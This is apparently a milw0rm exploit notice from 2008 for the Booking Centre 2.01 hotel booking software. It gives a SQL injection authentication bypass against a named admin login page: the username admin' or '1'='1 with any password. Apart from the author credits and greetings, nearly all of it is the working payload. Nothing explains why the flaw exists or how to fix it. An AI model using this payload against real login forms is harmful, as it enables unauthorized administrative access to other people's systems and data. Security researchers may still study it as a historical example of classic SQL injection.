21 lines
No EOL
543 B
Text
21 lines
No EOL
543 B
Text
Booking Centre 2.01 (Auth Bypass) SQL Injection Vulnerability
|
|
|
|
--------------------------------------------------------------
|
|
|
|
Author: MrDoug
|
|
E-mail: mrdoug13[at]gmail[dot]com
|
|
|
|
--------------------------------------------------------------
|
|
|
|
Exploit: http://demo.hotelsadmin.com/admin/index.php
|
|
|
|
Username == admin' or '1'='1
|
|
password == (whatever)
|
|
|
|
--------------------------------------------------------------
|
|
|
|
Greetz to Slappywag
|
|
|
|
--------------------------------------------------------------
|
|
|
|
# milw0rm.com [2008-11-28] |